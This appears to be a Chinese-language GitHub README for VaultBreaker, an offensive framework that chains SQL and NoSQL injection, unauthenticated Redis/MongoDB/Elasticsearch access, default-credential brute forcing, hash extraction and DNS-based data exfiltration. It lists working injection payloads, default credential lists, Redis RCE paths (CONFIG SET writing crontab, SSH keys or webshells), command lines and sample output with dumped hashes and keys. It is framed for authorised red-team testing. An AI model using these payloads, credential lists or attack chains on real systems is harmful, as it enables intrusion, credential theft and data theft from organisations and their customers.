arkanzasfeziii/VaultBreaker
GitHub: arkanzasfeziii/VaultBreaker
VaultBreaker 是一款面向红队操作人员的数据库攻击框架,在单一行动上下文中串联 SQL 注入、未授权访问、凭证提取与数据渗取,覆盖六种主流数据库引擎。
Stars: 0 | Forks: 0
# VaultBreaker — 数据库攻击框架
**全链数据库利用:从 SQL 注入到凭证提取再到数据渗取,在单次行动中跨越六种数据库引擎。**
## 威胁模型
每次入侵的终点都是数据库。从最初的立足点到数据提取的路径跨越了多种数据库技术,每种技术都有其自身的攻击面。VaultBreaker 映射了这一现实:
| 威胁向量 | 现实普遍性 | 影响 |
|---|---|---|
| 部署时使用默认凭证的数据库 | Root/sa/postgres 账户带有空白或简单的密码;生产实例在未经更改的情况下运行 | 完全的管理员访问权限、哈希提取、数据转储 |
| 未经身份验证的 Redis/MongoDB/Elasticsearch | 默认配置绑定到 0.0.0.0 且无身份验证;云端的错误配置将它们暴露在互联网上 | 完全的数据访问权限、通过 Redis CONFIG SET 实现 RCE、集群枚举 |
| Web 应用程序参数中的 SQL 注入 | OWASP Top 10 常客;存在于遗留应用、自定义 API 和配置不当的 ORM 中 | 数据库指纹识别、schema 提取、数据渗取、潜在的 OS 命令执行 |
| 跨数据库实例的凭证重用 | 操作员在同一网络的 MySQL、PostgreSQL、MSSQL 实例上重用密码 | 跨数据库层的横向移动;一个凭证即可攻破多个引擎 |
| 未加密存储的敏感数据 | PII、凭证、API key 以明文列存储;无列级加密 | 直接窃取数据而无需解决加密开销 |
### MITRE ATT&CK 映射
| 战术 | 技术 | VaultBreaker 覆盖范围 |
|---|---|---|
| **TA0001** 初始访问 | T1190 利用面向公众的应用程序 | SQLi 利用、通过 HTTP 参数进行的 NoSQL 注入 |
| **TA0001** 初始访问 | T1133 外部远程服务 | MongoDB/Redis/Elasticsearch 未经身份验证的访问 |
| **TA0006** 凭证访问 | T1552 不安全的凭证 | 默认凭证测试、配置文件扫描、哈希提取 |
| **TA0009** 收集 | T1005 来自本地系统的数据 | 数据库枚举、敏感列检测、文档采样 |
| **TA0009** 收集 | T1039 来自网络共享驱动的数据 | 跨数据库 schema 映射、快照存储库枚举 |
| **TA0010** 渗取 | T1048 通过替代协议进行渗取 | DNS 渗取编码、选择性数据提取 |
### CWE 覆盖范围
| CWE | 描述 | 模块 |
|---|---|---|
| CWE-89 | SQL 注入 | `sqli` — 错误/时间/布尔/UNION/堆叠查询检测 |
| CWE-943 | NoSQL 注入 | `mongo` — 运算符注入、JSON body 绕过 |
| CWE-306 | 缺少身份验证 | `mongo`, `redis`, `elastic` — 未经身份验证的访问检查 |
| CWE-521 | 弱密码要求 | `cred`, `redis` — 默认凭证测试、AUTH 暴力破解 |
| CWE-312 | 敏感信息明文存储 | `exfil` — 列中的明文密码/PII/API key 检测 |
| CWE-200 | 敏感信息暴露 | `elastic`, `cred` — 索引数据采样、连接字符串泄露 |
## 为什么开发此工具
数据库是每次入侵的最终目标。到达数据库层的攻击者就掌握了组织的核心资产:客户记录、财务数据、身份验证机密、业务逻辑。
现有工具只处理了这个问题的碎片。sqlmap 负责 SQL 注入。mongosh 枚举 MongoDB。redis-cli 探测 Redis。它们都无法跨主导生产基础设施的六种数据库引擎,串联从注入点发现、凭证收集到定向数据提取的完整攻击路径。
VaultBreaker 填补了这一空白。单个行动上下文将发现的凭证从凭证模块直接传递到渗取模块。MongoDB 未授权访问的发现直接输入到文档采样中。Redis CONFIG GET 的结果会立即用于评估 RCE 向量。该框架的思考方式是基于攻击链,而不是孤立的检查。
专为在大型企业环境中执行授权评估的红队操作人员构建,这些环境的数据库层跨越 MySQL、PostgreSQL、MSSQL、MongoDB、Redis 和 Elasticsearch —— 通常是同时存在,经常具有重叠凭证,并且配置通常自初始部署以来未曾被审查过。
## 功能
### 模块 1:SQL 注入 (`sqli`)
跨越五种数据库引擎的全面 SQL 注入利用。
| 技术 | 方法 | 引擎 |
|---|---|---|
| 基于错误的检测 | 注入 `'`, `"`, `')`, `")` 并匹配特定于引擎的错误模式 | MySQL, MSSQL, PostgreSQL, Oracle, SQLite |
| 基于时间的盲注 | 使用 `SLEEP()`, `WAITFOR DELAY`, `pg_sleep()`, `randomblob()` 结合响应时间进行测试 | MySQL, MSSQL, PostgreSQL, SQLite |
| 基于布尔的盲注 | 通过 `AND 1=1` 与 `AND 1=2` 的响应差异进行分析 | 所有 |
| 基于 UNION | 通过 `ORDER BY` 进行列数 fuzzing、NULL 注入、版本提取 | 所有 |
| 堆叠查询 | 以分号分隔的辅助查询执行检测 | MySQL, MSSQL, PostgreSQL |
| WAF 检测 | 明显的 payload 触发、403/header 分析、签名匹配 | ModSecurity, Cloudflare, Incapsula, Akamai, Imperva, F5, Barracuda, FortiWeb, Wallarm |
支持 GET 参数注入和 POST body 注入(包括 form-encoded 和 JSON)。
### 模块 2:MongoDB (`mongo`)
| 功能 | 详情 |
|---|---|
| 未经身份验证的访问 | 无需凭证直接连接到 27017 端口 |
| 数据库/集合枚举 | `list_database_names()`, `list_collection_names()` |
| NoSQL 注入 (JSON POST) | `{"$ne": ""}`, `{"$gt": ""}`, `{"$regex": ".*"}`, `{"$exists": true}` 运算符注入 |
| NoSQL 注入 (GET 参数) | `username[$ne]=&password[$ne]=` 参数污染 |
| 服务器信息提取 | 执行 `buildInfo`, `serverStatus`, `hostInfo` 命令 |
| 用户枚举 | 读取 `admin.system.users` 集合 |
| 文档采样 | 每个集合的前 5 个文档及字段枚举 |
### 模块 3:Redis (`redis`)
| 功能 | 详情 |
|---|---|
| 未经身份验证的访问 | 无需 AUTH 的原始 `INFO` 命令 |
| AUTH 暴力破解 | 包含空、redis、password、admin、root 在内的 17 个常见密码 |
| 服务器信息 | 版本、OS、已连接客户端、内存使用情况、keyspace 统计信息 |
| Key 枚举 | 基于 `SCAN` 的迭代、每个 key 的 TYPE、对 strings/hashes/lists/sets 进行值采样 |
| 危险命令检测 | CONFIG, DEBUG, EVAL, SCRIPT, SLAVEOF, REPLICAOF, MODULE 可用性 |
| RCE 向量 | 使用 CONFIG SET 写入 crontab、注入 SSH authorized_keys、部署 webshell |
| Lua 执行 | `EVAL` 脚本能力验证 |
| 复制攻击 | SLAVEOF/REPLICAOF 命令可用于恶意主节点 |
### 模块 4:Elasticsearch (`elastic`)
| 功能 | 详情 |
|---|---|
| 未经身份验证的访问 | `GET /` 集群名称、版本、标语提取 |
| 集群/节点信息 | `/_cluster/health`, `/_nodes` 包含 OS, JVM, IP 详情 |
| 索引枚举 | `/_cat/indices?v` 包含文档计数和存储大小 |
| 敏感索引检测 | 标记包含以下内容的索引:user, customer, payment, credential, password, session, token, log, audit, secret, admin, account, auth, credit, ssn, email, private, key, cert, config |
| 文档采样 | 通过 `_search` 从标记的索引中提取前 5 个文档 |
| Kibana 检测 | 端口 5601 `/api/status` 检查 |
| 快照枚举 | `/_snapshot` 存储库列表及其类型和位置 |
| 安全插件检测 | X-Pack, OpenSearch Security, SearchGuard |
### 模块 5:凭证提取 (`cred`)
| 数据库 | 测试的默认凭证 | 认证后提取 |
|---|---|---|
| MySQL | root:root, root:mysql, root:password, root:(空), admin:admin, mysql:mysql, root:toor, root:123456, dbadmin:dbadmin | `mysql.user` — 用户名、主机、authentication_string (SHA1 哈希) |
| PostgreSQL | postgres:postgres, postgres:password, admin:admin, postgres:(空), postgres:123456, pgsql:pgsql | `pg_shadow` — usename, passwd (MD5 哈希) |
| MSSQL | sa:sa, sa:password, sa:(空), sa:Password1, sa:sa123, sa:123456 | `sys.sql_logins` — name, password_hash |
其他功能:
- 在 HTTP 响应中扫描连接字符串模式(JDBC, MongoDB, Redis, PostgreSQL URI 格式)
- 配置文件暴露测试:`.env`, `wp-config.php`, `configuration.php`, `database.php`, `.git/config`, `web.config`
- 路径遍历前缀测试以访问配置文件
### 模块 6:数据渗取 (`exfil`)
| 功能 | 详情 |
|---|---|
| 数据库枚举 | 通过发现的凭证列出所有数据库/schema |
| 表评估 | 每个表的行数和列枚举 |
| 敏感列检测 | 标记匹配以下内容的列:password, credit_card, ssn, email, phone, address, token, secret, api_key, private, hash, session, cookie, auth, credential, bank |
| 选择性提取 | 仅转储标记的敏感列(前 N 行) |
| 导出格式 | JSON 报告、CSV 提取 |
| DNS 渗取 | Base32 编码的数据分块至 DNS 子域查询中 |
## 架构
```
┌──────────────────────┐
│ CLI Interface │
│ argparse + Rich UI │
└──────────┬───────────┘
│
┌──────────▼───────────┐
│ EngagementContext │
│ targets, ports, │
│ credentials, results │
└──────────┬───────────┘
│
┌────────────────────┼────────────────────┐
│ │ │
┌────────▼──────┐ ┌───────▼────────┐ ┌──────▼───────┐
│ SQLi Module │ │ Mongo Module │ │ Redis Module │
│ error/time/ │ │ unauth/nosql/ │ │ unauth/brute │
│ bool/union/ │ │ enum/js-inj │ │ rce/keys/lua │
│ stacked/waf │ │ user-enum │ │ replication │
└───────────────┘ └────────────────┘ └──────────────┘
│ │ │
┌────────▼──────┐ ┌───────▼────────┐ ┌──────▼───────┐
│Elastic Module │ │ CredExtract │ │ Exfil Module │
│ unauth/index │ │ default-creds │ │ enum/detect │
│ sample/snap │ │ hash-extract │ │ extract/dns │
│ kibana/xpack │ │ config-scan │ │ csv/json │
└───────────────┘ └────────────────┘ └──────────────┘
│
credentials flow
into exfil module
```
## 攻击流程
1. **目标指定** — 操作员提供目标主机/URL、端口,并选择模块
2. **WAF 检测** — SQLi 模块在尝试注入之前探测 Web 应用程序防火墙
3. **注入发现** — 跨越五种 SQL 方言进行基于错误、时间、布尔、UNION 和堆叠查询的注入;针对 MongoDB HTTP 端点进行 NoSQL 运算符注入
4. **未经身份验证的访问** — 尝试在没有凭证的情况下直接连接到 MongoDB (27017)、Redis (6379)、Elasticsearch (9200)
5. **凭证收集** — 针对 MySQL、PostgreSQL、MSSQL 进行默认凭证测试;Redis AUTH 暴力破解;HTTP 响应和配置文件中的连接字符串扫描
6. **认证后枚举** — 数据库/schema/表/集合列出;从系统表中提取用户和哈希;服务器信息和集群拓扑映射
7. **敏感数据检测** — 针对列名和索引名进行 PII、凭证、财务数据、API key 模式匹配
8. **选择性提取** — 定向转储标记的敏感列;从标记的 Elasticsearch 索引和 MongoDB 集合中进行文档采样
9. **报告** — JSON 输出,包含按严重程度分类的发现结果、提取的凭证和行动总结
## 使用说明
### 针对单个目标的全面行动
```
python vaultbreaker.py --targets 10.0.0.5 --modules all --output report.json --yes
```
### 针对 Web 应用程序的 SQL 注入评估
```
python vaultbreaker.py --targets "http://app.corp.local/search?q=test" --modules sqli --db-type mysql
```
### 跨网段的 NoSQL 数据库扫描
```
python vaultbreaker.py --targets 10.0.0.10,10.0.0.11,10.0.0.12 \
--ports 27017,6379,9200 \
--modules mongo,redis,elastic \
--output nosql-audit.json --yes
```
### 凭证提取与渗取链
```
python vaultbreaker.py --targets db.internal.corp \
--ports 3306,5432,1433 \
--modules cred,exfil \
--db-type auto \
--output cred-report.json --yes
```
### 针对性 Redis 评估
```
python vaultbreaker.py --targets redis-01.corp.local \
--ports 6379 \
--modules redis \
--timeout 15 --yes
```
### Elasticsearch 集群审计
```
python vaultbreaker.py --targets elastic-node1.corp.local,elastic-node2.corp.local \
--ports 9200 \
--modules elastic \
--output elastic-audit.json --yes
```
## 输出
### 行动期间的终端输出
```
_ __ ____ ____ __
| | / /___ ___ __/ / /_/ __ )________ ____ _/ /_____ _____
| | / / __ `/ / / / / __/ __ / ___/ _ \/ __ `/ //_/ _ \/ ___/
| |/ / /_/ / /_/ / / /_/ /_/ / / / __/ /_/ / ,< / __/ /
|___/\__,_/\__,_/_/\__/_____/_/ \___/\__,_/_/|_|\___/_/
VaultBreaker Framework v1.0.0
Database Offensive Framework
SQL Injection | MongoDB | Redis | Elasticsearch | Credential Extraction | Exfiltration
[INFO] Targets: 10.0.0.5
[INFO] Ports: auto
[INFO] Modules: sqli, mongo, redis, elastic, cred, exfil
[INFO] DB Type: auto
[INFO] Timeout: 10s
━━━ SQLi Module ━━━
[INFO] Target: http://10.0.0.5
[OK] [INFO] WAF Detection: No WAF detected on obvious payload
[CRIT] [CRITICAL] Error-Based Detection: SQL error from MYSQL with payload: '
[CRIT] [CRITICAL] Time-Based Blind: MYSQL time-based confirmed (delay=5.2s) payload: ' OR SLEEP(5)-- -
[CRIT] [HIGH] Boolean-Based Blind: Response length differential: 847 chars (true=3291, false=2444)
[CRIT] [CRITICAL] UNION-Based: UNION injection confirmed: 4 columns, version: 5.7.42
[CRIT] [CRITICAL] Stacked Queries: Stacked query execution confirmed (delay=5.1s): ';SELECT SLEEP(5)-- -
━━━ MongoDB Module ━━━
[INFO] Target: 10.0.0.5:27017
[CRIT] [CRITICAL] Unauthenticated Access: MongoDB 6.0.12 open without authentication
[OK] [HIGH] Database Enumeration: Found 5 databases: admin, local, config, webapp, analytics
[OK] [MEDIUM] Collection Enumeration: webapp: 8 collections — users, sessions, orders, products, payments, logs, configs, api_keys
[OK] [HIGH] Document Sampling: webapp.users: 5 docs sampled, fields: _id, username, email, password_hash, role, created_at
[OK] [CRITICAL] User Enumeration: Found 3 users: admin@admin, appuser@webapp, readonly@analytics
━━━ Redis Module ━━━
[INFO] Target: 10.0.0.5:6379
[CRIT] [CRITICAL] Unauthenticated Access: Redis 7.2.3 accessible without authentication
[OK] [MEDIUM] Server Info: version=7.2.3, os=Linux, clients=14, memory=28.5M, keys=4721
[OK] [HIGH] Key Enumeration: Found 500 keys (sample): session:a8f2..., user:1001, user:1002, token:admin, config:db, cache:products...
[OK] [MEDIUM] Key Value Sample: session:a8f2e9c1 [string] = {"user_id": 1001, "role": "admin", "token": "eyJ..."}
[CRIT] [HIGH] Dangerous Commands: Available dangerous commands: CONFIG, DEBUG, EVAL, SCRIPT, SLAVEOF
[CRIT] [CRITICAL] RCE Vectors: Available RCE paths: CONFIG SET (crontab/SSH key/webshell write); EVAL (Lua script execution); SLAVEOF (replication attack)
━━━ Elasticsearch Module ━━━
[INFO] Target: http://10.0.0.5:9200
[CRIT] [CRITICAL] Unauthenticated Access: Elasticsearch 8.11.3 open — cluster: prod-cluster, tagline: You Know, for Search
[OK] [MEDIUM] Cluster Health: status=yellow, nodes=3, indices=47, unassigned=2
[OK] [HIGH] Node Info: node=es-node-01, ip=10.0.0.5, version=8.11.3, os=Ubuntu 22.04, jvm=17.0.9
[OK] [HIGH] Index Enumeration: Found 47 indices
[CRIT] [HIGH] Sensitive Index Detected: Index 'customer_data' — 1284930 docs, size: 2.1gb
[CRIT] [HIGH] Sensitive Index Detected: Index 'payment_logs' — 89421 docs, size: 340mb
[CRIT] [HIGH] Sensitive Index Detected: Index 'user_sessions' — 42001 docs, size: 128mb
[OK] [CRITICAL] Document Sampling: customer_data: 5 docs sampled, fields: customer_id, name, email, phone, ssn, address, credit_card_last4
[WARN] [INFO] Kibana Detection: Kibana not detected on port 5601
━━━ Credential Extraction Module ━━━
[INFO] Target: 10.0.0.5
[CRIT] [CRITICAL] MySQL Default Creds: Login successful: root:root@10.0.0.5:3306
[CRED] mysql-default → root:root@10.0.0.5:3306/
[OK] [CRITICAL] MySQL Hash Extraction: root@localhost hash=*81F5E21E35407D884A6CD4A731AEBFB6AF2...
[OK] [MEDIUM] Hash Format: root: MySQL 4.1+ (SHA1) hash detected
[OK] [CRITICAL] MySQL Hash Extraction: webapp@% hash=*A4B6157319038724E3560894F7F932C8886...
[WARN] [INFO] PostgreSQL Default Creds: No default credentials worked on 10.0.0.5:5432
[WARN] [INFO] MSSQL Default Creds: No default credentials worked on 10.0.0.5:1433
━━━ Exfiltration Module ━━━
[INFO] Using credential: root@10.0.0.5:3306 (mysql-default)
[OK] [HIGH] MySQL Database Enumeration: Found 6 databases: information_schema, mysql, performance_schema, sys, webapp_prod, analytics
[CRIT] [CRITICAL] Sensitive Data Detected: webapp_prod.users: 12840 rows, sensitive columns: password_hash, email, phone
[OK] [CRITICAL] Data Sample: webapp_prod.users row 1: {"password_hash": "$2b$12$LJ3m5...", "email": "admin@corp.local", "phone": "+1-555-0101"}
[CRIT] [CRITICAL] Sensitive Data Detected: webapp_prod.api_credentials: 47 rows, sensitive columns: api_key, secret, token
[OK] [CRITICAL] Data Sample: webapp_prod.api_credentials row 1: {"api_key": "sk-live-4eC39HqLyjWDarjtT1zdp7dc", "secret": "whsec_...", "token": "xoxb-..."}
[INFO] Completed in 34.7s
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Engagement Summary ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ Total Findings │ 38 │
│ Critical │ 14 │
│ High │ 9 │
│ Medium │ 7 │
│ Low │ 1 │
│ Info │ 7 │
│ Credentials Extracted│ 1 │
└──────────────────────┴─────────┘
[INFO] Results written to report.json
```
### JSON 报告结构
```
{
"tool": "VaultBreaker Framework",
"version": "1.0.0",
"timestamp": "2025-03-15T14:32:18.441Z",
"targets": ["10.0.0.5"],
"results": [
{
"module": "sqli",
"action": "Error-Based Detection",
"status": "critical",
"severity": "critical",
"notes": "SQL error from MYSQL with payload: '",
"timestamp": "2025-03-15T14:32:19.102Z"
}
],
"credentials": [
{
"source": "mysql-default",
"username": "root",
"password": "root",
"database": "",
"host": "10.0.0.5",
"port": 3306
}
],
"summary": {
"total": 38,
"critical": 14,
"high": 9,
"medium": 7,
"low": 1,
"info": 7
}
}
```
## 法律声明
本软件仅供授权的安全评估和渗透测试行动使用。操作员需全权确保在测试任何目标系统之前已获得明确的书面许可。
根据《计算机欺诈和滥用法》(18 U.S.C. 1030)、《1990 年计算机滥用法》、欧盟指令 2013/40/EU 以及全球相应的立法,未经授权访问计算机系统、网络和数据属于刑事犯罪。
本工具的作者和贡献者对因使用本工具而导致的误用、损害或法律后果不承担任何责任。使用本软件即表示您理解并接受对您的行为承担全部法律责任本工具不会绕过或破坏安全控制 —— 它会识别攻击者可能发现的数据库配置和应用程序代码中的弱点。如果 VaultBreaker 发现了问题,那么对手早就可能发现了。
标签:CISA项目, PNNL实验室, StruQ, 数据提取, 逆向工具